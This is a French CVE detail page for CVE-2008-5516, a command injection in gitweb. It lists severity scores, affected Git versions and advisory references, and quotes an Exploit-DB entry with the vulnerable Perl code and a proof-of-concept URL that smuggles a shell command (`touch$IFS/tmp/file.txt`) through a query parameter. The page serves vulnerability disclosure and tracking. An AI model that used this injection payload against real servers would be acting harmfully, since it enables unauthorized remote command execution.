CVE-2008-5516 : Détail

CVE-2008-5516

OS Command Injection
A01-Broken Access ControlA03-Injection
1.25%V3
Network
2009-01-20
15h00 +00:00
2018-10-11
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The web interface in git (gitweb) 1.5.x before 1.5.5 allows remote attackers to execute arbitrary commands via shell metacharacters related to git_search.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 11497

Date de publication : 2010-02-17 23h00 +00:00
Auteur : S2 Crew
EDB Vérifié : No

# Exploit Title: gitWeb remote command execution # Date: 2009.06.19 # Author: S2 Crew [Hungary] # Software Link: - # Version: GIT 1.5.2 # Tested on: debian linux, GIT 1.5.2 # CVE: CVE-2008-5516 - CVE-2008-5517 # Code: # The cgi script doesn't show the command output *blind command execution ;)* # Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object() sub git_object { # object is defined by: # - hash or hash_base alone # - hash_base and file_name my $type; # - hash or hash_base alone if ($hash || ($hash_base && !defined $file_name)) { my $object_id = $hash || $hash_base; my $git_command = git_cmd_str(); open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null" or die_error('404 Not Found', "Object does not exist"); $type = <$fd>; chomp $type; close $fd or die_error('404 Not Found', "Object does not exist"); # - hash_base and file_name # Example http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785

Products Mentioned

Configuraton 0

Git>>Git >> Version 0.99.9j

    Git>>Git >> Version 0.99.9k

      Git>>Git >> Version 0.99.9l

        Git>>Git >> Version 0.99.9m

          Git>>Git >> Version 0.99.9n

            Git>>Git >> Version 1.0.0

              Git>>Git >> Version 1.0.0b

                Git>>Git >> Version 1.0.3

                  Git>>Git >> Version 1.0.4

                    Git>>Git >> Version 1.0.5

                      Git>>Git >> Version 1.0.6

                        Git>>Git >> Version 1.0.7

                          Git>>Git >> Version 1.0.8

                            Git>>Git >> Version 1.1.1

                              Git>>Git >> Version 1.1.2

                                Git>>Git >> Version 1.1.3

                                  Git>>Git >> Version 1.1.4

                                    Git>>Git >> Version 1.1.5

                                      Git>>Git >> Version 1.1.6

                                        Git>>Git >> Version 1.2.0

                                          Git>>Git >> Version 1.2.1

                                            Git>>Git >> Version 1.2.2

                                              Git>>Git >> Version 1.2.3

                                                Git>>Git >> Version 1.2.4

                                                  Git>>Git >> Version 1.2.5

                                                    Git>>Git >> Version 1.2.6

                                                      Git>>Git >> Version 1.3.0

                                                        Git>>Git >> Version 1.3.1

                                                          Git>>Git >> Version 1.3.2

                                                            Git>>Git >> Version 1.3.3

                                                              Git>>Git >> Version 1.4.0

                                                                Git>>Git >> Version 1.4.1

                                                                  Git>>Git >> Version 1.4.1.1

                                                                    Git>>Git >> Version 1.4.2

                                                                      Git>>Git >> Version 1.4.2.1

                                                                        Git>>Git >> Version 1.4.2.2

                                                                          Git>>Git >> Version 1.4.2.3

                                                                            Git>>Git >> Version 1.4.2.4

                                                                              Git>>Git >> Version 1.4.3

                                                                                Git>>Git >> Version 1.4.3.1

                                                                                  Git>>Git >> Version 1.4.3.2

                                                                                    Git>>Git >> Version 1.4.3.3

                                                                                      Git>>Git >> Version 1.4.3.4

                                                                                        Git>>Git >> Version 1.4.3.5

                                                                                          Git>>Git >> Version 1.4.4

                                                                                            Git>>Git >> Version 1.4.4.1

                                                                                              Git>>Git >> Version 1.4.4.2

                                                                                                Git>>Git >> Version 1.4.4.3

                                                                                                  Git>>Git >> Version 1.4.4.4

                                                                                                    Git>>Git >> Version 1.5.0

                                                                                                      Git>>Git >> Version 1.5.0

                                                                                                        Git>>Git >> Version 1.5.0

                                                                                                          Git>>Git >> Version 1.5.0

                                                                                                            Git>>Git >> Version 1.5.0.1

                                                                                                              Git>>Git >> Version 1.5.0.2

                                                                                                                Git>>Git >> Version 1.5.0.3

                                                                                                                  Git>>Git >> Version 1.5.0.4

                                                                                                                    Git>>Git >> Version 1.5.0.5

                                                                                                                      Git>>Git >> Version 1.5.0.6

                                                                                                                        Git>>Git >> Version 1.5.0.7

                                                                                                                          Git>>Git >> Version 1.5.1

                                                                                                                            Git>>Git >> Version 1.5.1.1

                                                                                                                              Git>>Git >> Version 1.5.1.2

                                                                                                                                Git>>Git >> Version 1.5.1.3

                                                                                                                                  Git>>Git >> Version 1.5.1.4

                                                                                                                                    Git>>Git >> Version 1.5.1.5

                                                                                                                                      Git>>Git >> Version 1.5.1.6

                                                                                                                                        Git>>Git >> Version 1.5.2

                                                                                                                                          Git>>Git >> Version 1.5.2.1

                                                                                                                                            Git>>Git >> Version 1.5.2.2

                                                                                                                                              Git>>Git >> Version 1.5.2.3

                                                                                                                                                Git>>Git >> Version 1.5.2.4

                                                                                                                                                  Git>>Git >> Version 1.5.2.5

                                                                                                                                                    Git>>Git >> Version 1.5.3

                                                                                                                                                      Git>>Git >> Version 1.5.3

                                                                                                                                                        Git>>Git >> Version 1.5.3

                                                                                                                                                          Git>>Git >> Version 1.5.3

                                                                                                                                                            Git>>Git >> Version 1.5.3.1

                                                                                                                                                              Git>>Git >> Version 1.5.3.2

                                                                                                                                                                Git>>Git >> Version 1.5.3.3

                                                                                                                                                                  Git>>Git >> Version 1.5.3.4

                                                                                                                                                                    Git>>Git >> Version 1.5.3.5

                                                                                                                                                                      Git>>Git >> Version 1.5.3.6

                                                                                                                                                                        Git>>Git >> Version 1.5.3.7

                                                                                                                                                                          Git>>Git >> Version 1.5.3.8

                                                                                                                                                                            Git>>Git >> Version 1.5.4

                                                                                                                                                                              Git>>Git >> Version 1.5.4

                                                                                                                                                                                Git>>Git >> Version 1.5.4

                                                                                                                                                                                  Git>>Git >> Version 1.5.4

                                                                                                                                                                                    Git>>Git >> Version 1.5.4

                                                                                                                                                                                      Git>>Git >> Version 1.5.4

                                                                                                                                                                                        Git>>Git >> Version 1.5.4

                                                                                                                                                                                          Git>>Git >> Version 1.5.4

                                                                                                                                                                                            Git>>Git >> Version 1.5.4.1

                                                                                                                                                                                              Git>>Git >> Version 1.5.4.2

                                                                                                                                                                                                Git>>Git >> Version 1.5.4.3

                                                                                                                                                                                                  Git>>Git >> Version 1.5.4.4

                                                                                                                                                                                                    Git>>Git >> Version 1.5.4.5

                                                                                                                                                                                                      Git>>Git >> Version 1.5.4.6

                                                                                                                                                                                                        Git>>Git >> Version 1.5.4.7

                                                                                                                                                                                                          Git>>Git >> Version 1.5.5

                                                                                                                                                                                                            Git>>Git >> Version 1.5.5

                                                                                                                                                                                                              Git>>Git >> Version 1.5.5

                                                                                                                                                                                                                Git>>Git >> Version 1.5.5

                                                                                                                                                                                                                  Git>>Git >> Version 1.5.5.1

                                                                                                                                                                                                                    Git>>Git >> Version 1.5.5.2

                                                                                                                                                                                                                      Git>>Git >> Version 1.5.5.3

                                                                                                                                                                                                                        Git>>Git >> Version 1.5.5.4

                                                                                                                                                                                                                          Git>>Git >> Version 1.5.5.5

                                                                                                                                                                                                                            Git>>Git >> Version 1.5.5.6

                                                                                                                                                                                                                              Git>>Git >> Version 1.5.6.1

                                                                                                                                                                                                                                Git>>Git >> Version 1.5.6.2

                                                                                                                                                                                                                                  Git>>Git >> Version 1.5.6.3

                                                                                                                                                                                                                                    Git>>Git >> Version 1.5.6.4

                                                                                                                                                                                                                                      Git-scm>>Git >> Version 0.6.0

                                                                                                                                                                                                                                      Git-scm>>Git >> Version 0.7.0

                                                                                                                                                                                                                                      Rpath>>Linux >> Version 2

                                                                                                                                                                                                                                        Références

                                                                                                                                                                                                                                        http://www.debian.org/security/2009/dsa-1708
                                                                                                                                                                                                                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                                                                                                                                                                                                                        http://www.gentoo.org/security/en/glsa/glsa-200903-15.xml
                                                                                                                                                                                                                                        Tags : vendor-advisory, x_refsource_GENTOO
                                                                                                                                                                                                                                        http://www.vupen.com/english/advisories/2009/0175
                                                                                                                                                                                                                                        Tags : vdb-entry, x_refsource_VUPEN
                                                                                                                                                                                                                                        http://securityreason.com/securityalert/4919
                                                                                                                                                                                                                                        Tags : third-party-advisory, x_refsource_SREASON
                                                                                                                                                                                                                                        http://secunia.com/advisories/34194
                                                                                                                                                                                                                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                                        http://secunia.com/advisories/33964
                                                                                                                                                                                                                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                                                                                                                                                        http://www.openwall.com/lists/oss-security/2009/01/23/2
                                                                                                                                                                                                                                        Tags : mailing-list, x_refsource_MLIST
                                                                                                                                                                                                                                        http://www.openwall.com/lists/oss-security/2009/01/20/1
                                                                                                                                                                                                                                        Tags : mailing-list, x_refsource_MLIST
                                                                                                                                                                                                                                        http://www.openwall.com/lists/oss-security/2009/01/21/7
                                                                                                                                                                                                                                        Tags : mailing-list, x_refsource_MLIST
                                                                                                                                                                                                                                        http://www.ubuntu.com/usn/USN-723-1
                                                                                                                                                                                                                                        Tags : vendor-advisory, x_refsource_UBUNTU